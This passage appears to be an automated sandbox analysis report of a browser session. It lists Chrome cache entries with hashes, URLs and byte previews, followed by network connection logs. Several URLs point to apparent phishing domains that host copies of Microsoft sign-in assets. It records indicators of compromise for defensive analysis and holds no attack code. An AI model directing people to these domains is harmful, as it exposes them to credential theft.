Entropy (8bit):	5.290031538794594
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEv+sj+M++sx+suse+swsosmC0:gC3Na5+GX+Ti2XsYE2sqAsosushswsoB
MD5:	E86EF8B6111E5FB1D1665BCDC90888C9
SHA1:	994BF7651CB967CD9053056AF2D69ACB74DB7F29
SHA-256:	3410242720DE50B090D07A23AEE2DAD879B31D36F2615732962EC4CFA8A9D458
SHA-512:	2486B491681EE91A9CD1ECC9AA011A3FB34B48358C5D7A4D503A5357BC5CE4CA22999F918D40AC60A3063940D5F326FC7E4E5713D89D5C102DE68824E371B3AB
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 44 x 31, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPljwtK2l1xl/k4E08up:6v/lhPyK2l17Tp
MD5:	2AB454251222A3AB34863252DEB2189A
SHA1:	9FABCD48790595AE4FBA0CDCF9AC12E78ABB5CF8
SHA-256:	4D405A3940BC3792D7310C301C65734956DE523417B97EE7C459F9E5CA30256D
SHA-512:	AC9033412DADB86106AC8FBB02CD53E4E6941BE5AD22D1DA7B865FD98E2C20FDA1BA60A076442357D7C33C040A72D5085F7D27FEBC1279A5758C813B828C6C7D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,............U....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33677)
Category:	downloaded
Size (bytes):	33722
Entropy (8bit):	5.505158473326853
Encrypted:	false
SSDEEP:	768:IQHxQlhfD/EKGzY+4b4tdyXmeI8Nr71aO:repEjYXmeTN/1aO
MD5:	0A3A58F308CD683A742C13B16D3BC35B
SHA1:	1C175D968B6892D6B431B5F40309C844E654D580
SHA-256:	B0DDAAD28F9246458C037B59F4BA5620A8432C6BE41B10B235E36B42B665ECFA
SHA-512:	F7335935529D9517B1934E907B1F62AE7577AB091341F590B808D936AB610839F7D945CFCAC7A33FFA0ABEFCA91ADE98014BDF8259C180F8B328EC1F3C5BF0EC
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/js/4.2245794f.chunk.js
Preview:	(this["webpackJsonpvp-webapp-clicksmart"]=this["webpackJsonpvp-webapp-clicksmart"]\|\|[]).push([[4],{443:function(e,t,n){"use strict";var a=n(460);n.d(t,"AnalysisErrorCode",(function(){return a.a}));var c=n(461);n.o(c,"ScannerStep")&&n.d(t,"ScannerStep",(function(){return c.ScannerStep})),n.o(c,"Verdict")&&n.d(t,"Verdict",(function(){return c.Verdict}));var r=n(462);n.o(r,"ScannerStep")&&n.d(t,"ScannerStep",(function(){return r.ScannerStep})),n.o(r,"Verdict")&&n.d(t,"Verdict",(function(){return r.Verdict}));var i=n(463);n.o(i,"ScannerStep")&&n.d(t,"ScannerStep",(function(){return i.ScannerStep})),n.o(i,"Verdict")&&n.d(t,"Verdict",(function(){return i.Verdict}));var s=n(464);n.o(s,"ScannerStep")&&n.d(t,"ScannerStep",(function(){return s.ScannerStep})),n.o(s,"Verdict")&&n.d(t,"Verdict",(function(){return s.Verdict}));var o=n(465);n.d(t,"ScannerStep",(function(){return o.a}));var l=n(466);n.d(t,"Verdict",(function(){return l.a}))},460:function(e,t,n){"use strict";var a;n.d(t,"a",(function()

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12298
Entropy (8bit):	6.056748266052125
Encrypted:	false
SSDEEP:	384:fVJCTeXO07nn7mVIuJLG5hX9ZEdkgD5Owaz1awaz1N:tJCTGOOAIuxsX9ZGT5qmN
MD5:	9DBB49953508C5F7790590D40EEE10BD
SHA1:	288903EC8E317D88B2F44FEFF3564E468CAA4CA5
SHA-256:	12B842CEE71FFFB9E572AF75124202616315F2EFECEAF84AF0C6A09E753F663B
SHA-512:	BFA3AA0BCB14BBDE8D3D16AEC366A114E1C5D63E468695AC652F3D8186A9EE8CDA1985598D9AFDA003CDAD2E581A19A89977A20A6F4D050AAB44CF7E93578D75
Malicious:	false
Reputation:	low
Preview:	{"verdict":1,"original_url":"https://public-usa.mkt.dynamics.com/api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D\u0026digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D\u0026secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee","landing_url":"https://hdbfhja.store/?xeuxuwcg=2eab9b2000b208b32801acdeeabd3bb04be4a2e68893c959867ce3d05f0980277f9c29725cbe91175cead03954f418e3b7f74adc397f602e30b041b6a3cc23e1\u0026qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865","features":["Use set interval","Use set timeout","Has borderless iframe"],"cus_prefs":{"branding_logo":"iVBORw0KGgoAAAANSUhEUgAAAVgAAABACAYAAABfnm8CAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAALiMAAC4jAXilP3YAABzHSURBVHhe7Z0HmBzFlce1S+YMIotgjEgiZxtjjMkcyZyOHE0QRzyCAIE4MBYgskmSQCST4e4wQcKIw8gEE4+cgwCBwYgMEkggIUsC//7db/abmZ2ZrqruSUv/vu9tVfXUexW6t

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 136 x 136, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.976208190934027
Encrypted:	false
SSDEEP:	384:/H9c1vCJgz2GixyL8u6UmL1rUACEviw+sv+ADNRmkx44mliXd15:/CXixlubmhBqwJ+QTOKd15
MD5:	D1BAE3D1E005483AC7872D49A442CC63
SHA1:	196B857575A97F75028B876B924957E800BC1F43
SHA-256:	72C57CDA41C26F93F43F16C230B7778E996A43AC7FA4D509CD473B3887596ADB
SHA-512:	68C1C9CA3F5E3FCE687BAE77A7D922640FF9676B40A299CC66F5216F6C81BC2D6F1C32A2D9662E4673FEFB17B795E2DE920FBE3D49DF6716B68A0CB43071F1B3
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/media/scan-spinner.db8ef091.png
Preview:	.PNG........IHDR.............<..R....sRGB.......;.IDATx..}.x\...VKj.....5.c..lLX.2Y...@.0..f.-3......Mf^.$L ....0..'L2.%.......l.[.,..-k.%.;..:..o_I-.......:Uu...v=.9.^\|.E..?.DYK...I..ekr2..;04.j$...Q.OJL.$$$.B..eyG=.........y.FB..1............}=.>.Xm........C/.LOO.....:\|..7..k...... ^{........MI.Y...SV..e.........P(d.F.Mf........d...F..O9+.6'.....................oo].pa..7..i..f6.... .x...5..HbR.....i.Y.).I.Q..\.\.T.\...._.. P.BF.~<.....I.....X.og.p......mK.~......?....O>..m..G.9.K..\...O.........(h..0.].hM.E..,n.....!...l....F.o....S.E.E.........$....{...._.._.....m.......}...H........!P.O......4......%j..O. ....@c".`.t...N.>{...\|.Tg..... ..s....;9.l.54R.....E!.....F.Q.....(d7..0....>R.....c`.\|5/F.A../..WD.....;..e.}.....<........:..Y...Gi..wsJ~..f...<^.....Y..p.eP.@.@P@....N...0.I..AKq>.U....'".:~zM......4...,....z..l...rV....(....../...WH. d.&_....a..d......Z.....a.CE.....#...qj^.....+'./.H..pv..F..+..\|.....K...}...[...&.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://momomomomom.store/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 379
Category:	downloaded
Size (bytes):	254
Entropy (8bit):	7.066074991728423
Encrypted:	false
SSDEEP:	6:XtS8G99k8e6my4IIFqXUJ59lDFCnhUGlZX8My/dOtrE:XAH99kRX1YQBDFCnDXdWYtrE
MD5:	847A4212B99B9076EE39328B24CD30AF
SHA1:	73F15078CF1D396485F644A79B6E25EF0637685D
SHA-256:	29DC0C26C372805325EB7EB926769E832A60B47BEF96A66436EC3EC05CD6128E
SHA-512:	9AF77E9ED8BD9A39A47F36AAC2D01B5AF5D56C04CD933427DF95CC80904D7EE7AC3F7F9443D8AEF236CC84FB4DC4CC335AF0BF8F9BC0C13D720187096D149220
Malicious:	false
Reputation:	low
URL:	https://momomomomom.store/aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg
Preview:	..........mP.n. ...D.xY0.\..{. 7...y.F!.....T..Y.Y..n...q^.[O}..w.SJ.j..3.....%)....x.f.K}..}\.=E.D....!.n.......Ma..G.=+.%.w..WX...9.A...........X...V...bOB&2.H....15{.fT...V-.#..m..f...V2<...~....l%4.....Ie.TL69.....vW.....v.3.v.O..}..{...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://momomomomom.store/aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 7, 2024 20:27:50.158438921 CEST	49675	443	192.168.2.7	104.98.116.138
May 7, 2024 20:27:50.158463001 CEST	49674	443	192.168.2.7	104.98.116.138
May 7, 2024 20:27:50.267847061 CEST	49672	443	192.168.2.7	104.98.116.138
May 7, 2024 20:27:53.800836086 CEST	49671	443	192.168.2.7	204.79.197.203
May 7, 2024 20:27:54.111583948 CEST	49671	443	192.168.2.7	204.79.197.203
May 7, 2024 20:27:54.799103975 CEST	49671	443	192.168.2.7	204.79.197.203
May 7, 2024 20:27:56.098151922 CEST	49671	443	192.168.2.7	204.79.197.203
May 7, 2024 20:27:58.501739025 CEST	49671	443	192.168.2.7	204.79.197.203
May 7, 2024 20:27:59.167108059 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.167150974 CEST	443	49706	142.250.65.196	192.168.2.7
May 7, 2024 20:27:59.167243004 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.167459965 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.167471886 CEST	443	49706	142.250.65.196	192.168.2.7
May 7, 2024 20:27:59.350316048 CEST	443	49706	142.250.65.196	192.168.2.7
May 7, 2024 20:27:59.350639105 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.350656033 CEST	443	49706	142.250.65.196	192.168.2.7
May 7, 2024 20:27:59.351650000 CEST	443	49706	142.250.65.196	192.168.2.7
May 7, 2024 20:27:59.351810932 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.352878094 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.352936983 CEST	443	49706	142.250.65.196	192.168.2.7
May 7, 2024 20:27:59.392354012 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.392369986 CEST	443	49706	142.250.65.196	192.168.2.7
May 7, 2024 20:27:59.439326048 CEST	49706	443	192.168.2.7	142.250.65.196
May 7, 2024 20:27:59.618757010 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.618813992 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.618879080 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.619246006 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.619291067 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.619353056 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.619465113 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.619482040 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.619673014 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.619689941 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.769725084 CEST	49674	443	192.168.2.7	104.98.116.138
May 7, 2024 20:27:59.769736052 CEST	49675	443	192.168.2.7	104.98.116.138
May 7, 2024 20:27:59.808166981 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.808459044 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.808475971 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.808823109 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.809010983 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.809034109 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.809493065 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.809566021 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.810082912 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.810141087 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.810693979 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.810756922 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.810895920 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.810903072 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.811047077 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.811113119 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.863898993 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.866616964 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:27:59.866635084 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:27:59.880002022 CEST	49672	443	192.168.2.7	104.98.116.138
May 7, 2024 20:27:59.910614967 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.129255056 CEST	49677	443	192.168.2.7	20.50.201.200
May 7, 2024 20:28:00.150213003 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:28:00.150322914 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:28:00.150327921 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.150371075 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.152112961 CEST	49707	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.152132988 CEST	443	49707	207.211.31.106	192.168.2.7
May 7, 2024 20:28:00.153703928 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.153790951 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:28:00.401545048 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:28:00.401675940 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:28:00.401747942 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.403155088 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.403172016 CEST	443	49708	207.211.31.106	192.168.2.7
May 7, 2024 20:28:00.403182030 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.403225899 CEST	49708	443	192.168.2.7	207.211.31.106
May 7, 2024 20:28:00.504285097 CEST	49677	443	192.168.2.7	20.50.201.200
May 7, 2024 20:28:01.246681929 CEST	443	49699	104.98.116.138	192.168.2.7
May 7, 2024 20:28:01.246862888 CEST	49699	443	192.168.2.7	104.98.116.138
May 7, 2024 20:28:01.255048037 CEST	49677	443	192.168.2.7	20.50.201.200
May 7, 2024 20:28:02.574409008 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.574439049 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.574595928 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.577405930 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.577418089 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.752151966 CEST	49677	443	192.168.2.7	20.50.201.200
May 7, 2024 20:28:02.756546974 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.756665945 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.760437012 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.760448933 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.760719061 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.812325001 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.856120110 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.922346115 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.922418118 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.922475100 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.922574997 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.922590017 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:02.922636032 CEST	49715	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:02.922641993 CEST	443	49715	69.192.108.161	192.168.2.7
May 7, 2024 20:28:03.007833004 CEST	49720	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:03.007843971 CEST	443	49720	69.192.108.161	192.168.2.7
May 7, 2024 20:28:03.007929087 CEST	49720	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:03.009903908 CEST	49720	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:03.009912968 CEST	443	49720	69.192.108.161	192.168.2.7
May 7, 2024 20:28:03.187880993 CEST	443	49720	69.192.108.161	192.168.2.7
May 7, 2024 20:28:03.187964916 CEST	49720	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:03.191905975 CEST	49720	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:03.191910028 CEST	443	49720	69.192.108.161	192.168.2.7
May 7, 2024 20:28:03.192145109 CEST	443	49720	69.192.108.161	192.168.2.7
May 7, 2024 20:28:03.193226099 CEST	49720	443	192.168.2.7	69.192.108.161
May 7, 2024 20:28:03.236119986 CEST	443	49720	69.192.108.161	192.168.2.7
